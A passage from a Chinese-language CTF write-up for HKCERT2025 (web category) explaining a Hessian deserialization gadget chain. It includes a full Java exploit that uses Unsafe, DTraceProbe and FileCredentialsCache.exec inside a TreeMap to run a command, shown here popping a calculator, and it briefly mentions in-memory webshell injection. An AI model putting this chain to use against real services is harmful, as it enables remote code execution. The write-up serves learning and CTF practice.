这里是可以成功弹出计算器了,这里用Unsafe创建对象更加地方便,能够绕过很多私有限制

完整exp组合#

这时候就可以跟题目条件组合一下,写一个完整的exp试试

这里还有个问题,我们最后一步需要找一个不在黑名单里的能够执行命令的方法而且是有参的,因为我们前面的treemap比较一定会引入一个参数,可以继续用前面的jar-analyzer来找

这里找到了一个,刚好有一个有参的exec方法,直接就执行命令,文章用的也是这个,idea看看他的源码

那么就可以用这个点来执行任意命令了,最终exp如下:

package com.clown.proxyTest;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.clown.model.CustomProxy;
import sun.misc.Unsafe;
import sun.security.krb5.internal.ccache.FileCredentialsCache;
import sun.tracing.ProbeSkeleton;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.TreeMap;
public class ProxyExp {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) { // 一直找到 Object 为止
try {
Field f = clazz.getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
return; // 成功就结束
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass(); // 没找到就往上翻
}
}
throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
}
public static void main(String[] args) throws Exception {
// 获取unsafe
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
HashMap hashMap = new HashMap<Method, ProbeSkeleton>();
Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
// 找一个ProviderSkeleton的子类,因为ProviderSkeleton是一个抽象类
Object nullprovider = unsafe.allocateInstance(Class.forName("sun.tracing.NullProvider"));
Object probe = unsafe.allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
setFieldValue(probe,"proxy",FileCredentialsCache.class);
setFieldValue(probe,"implementing_method",exec);
hashMap.put(compareTo,probe);
setFieldValue(nullprovider,"providerType",Comparable.class);
setFieldValue(nullprovider,"active",true);
setFieldValue(nullprovider,"probes",hashMap);
// 跟题目所给条件进行组合
TreeMap<Object, Object> objectObjectTreeMap = new TreeMap<>();
CustomProxy customProxy = new CustomProxy((InvocationHandler) nullprovider, compareTo);
// 先占位
objectObjectTreeMap.put("aaa", "value1");
objectObjectTreeMap.put("bbb", "value2");
// 使用反射强行替换 TreeMap 内部 Entry 的 key
// TreeMap 内部通过一个名为 "root" 的 Entry 节点来维护数据
Field rootField = TreeMap.class.getDeclaredField("root");
rootField.setAccessible(true);
Object rootEntry = rootField.get(objectObjectTreeMap);
// Entry 类是 TreeMap 的内部类,我们获取它的 key 字段
Field keyField = rootEntry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
// 将第一个 Entry 的 key 替换成我们的 payload 字符串 (用于触发 compareTo 的第一个参数)
keyField.set(rootEntry, "open -a calculator");
// 获取右子节点或左子节点 (取决于你 put 的顺序) 并替换为 customProxy
Field rightField = rootEntry.getClass().getDeclaredField("right");
rightField.setAccessible(true);
Object rightEntry = rightField.get(rootEntry);
keyField.set(rightEntry, customProxy);
// 序列化
ByteArrayOutputStream bout = new ByteArrayOutputStream();
Hessian2Output hout = new Hessian2Output(bout);
hout.getSerializerFactory().setAllowNonSerializable(true);
hout.writeObject(objectObjectTreeMap); // 把 TreeMap 写出去
hout.flush();
byte[] data = bout.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(data));
// 反序列化
ByteArrayInputStream bin = new ByteArrayInputStream(data);
Hessian2Input hin = new Hessian2Input(bin);
hin.getSerializerFactory().setAllowNonSerializable(true);
Object o = hin.readObject();
}
}

最终也是成功执行

其他#

还有一些其他方法,比如不出网直接打EL表达式注入内存马

这里也可以很方便的直接看el表达式有没有被黑名单

可以看到也是没有问题的,后续的exp就不写了

这次用了一下jar-analyzer感觉查需要的类确实快啊,不需要codeql那么复杂的步骤,太强了orz

参考#

https://xz.aliyun.com/news/90971

https://baozongwi.xyz/p/tabby-setup-and-basics/

HKCERT2025-web方向wp
https://fuwari.vercel.app/posts/hkcert2025-web方向wp/
Author
clown
Published at
2025-12-19
License
CC BY-NC-SA 4.0